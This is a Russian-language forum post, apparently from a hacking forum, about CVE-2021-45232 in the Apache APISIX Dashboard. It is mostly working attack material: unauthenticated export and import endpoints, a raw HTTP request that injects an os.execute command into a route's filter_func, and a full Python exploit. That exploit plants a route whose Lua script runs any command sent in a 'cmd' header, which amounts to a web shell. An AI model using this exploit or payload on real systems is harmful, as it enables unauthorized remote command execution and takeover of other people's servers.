• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья CVE-2021-45232 ApiSix Dashboard несанкционированный доступ и RCE

0x0021h

RAID-массив
Пользователь
Регистрация
14.11.2021
Сообщения
53
Решения
1
Реакции
78
Уязвимость затрагивает Apache APISIX Dashboard <2.10.1 версии.

PoC:
Код:
/apisix/admin/migrate/export

/apisix/admin/migrate/import

RCE:
Поскольку APISIX не авторизован для изменения файла конфигурации, мы обращаем внимание на параметр filter_func:
Эта функция по умолчанию принимает входной параметр с именем vars, который можно использовать для получения переменных Nginx.
Нам нужно только написать os.execute () в функции выполнения в RCE.
Код:
POST /apisix/admin/migrate/import HTTP/1.1
Host: xxxxxxx
Accept-Encoding: gzip
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------24464570528145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Length: 632


-----------------------------24464570528145
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: image/jpeg


{"Consumers":[],"Routes":[{"id":"999", "create_time":1636350000, "update_time": 1636350000, "uri":"/api/mytest", "name":"test", "filter_func":"function(vars) os.execute(\"ping -c 1 xxxxxxxx\"); return true end","service_id":"999", "status":1}],"Services":[],"SSLs":[],"Upstreams":[],"Scripts":[],"GlobalPlugins":[],"PluginConfigs":[]}²Óf
-----------------------------24464570528145
Content-Disposition: form-data; name="mode"


overwrite
-----------------------------24464570528145--

Проверяем успешность использования:
Код:
GET /apisix/admin/migrate/export HTTP/1.1
Host: xxxxxxxx
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Connection: close

Код:
curl http://x.x.x.x/api/mytest -vv

Мы можем получить данные RCE через Dnslog.

Exploit:
Python:
#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys


eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def export_data(url):
    r = requests.get(url + "/apisix/admin/migrate/export")
    return r.text[:-4]


def import_data(url, data):
    data = json.dumps(data).encode()
    crc32 = calc_crc(data)

    files = {"file": ("data", data + crc32, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files)
    # print(resp.text)
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("python " + sys.argv[0] + " http://127.0.0.1:9000")
        exit()
    
    url = sys.argv[1]
    if url.endswith("/"):
        url = url[:-1]

    uri = random_str()
    eval_config["Routes"][0]["uris"] = [ "/" + uri]
    eval_config["Routes"][0]["name"] = uri

    if import_data(url, eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")
1640932510706.png



Via:https://github.com/wuppp/cve-2021-45232-exp
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх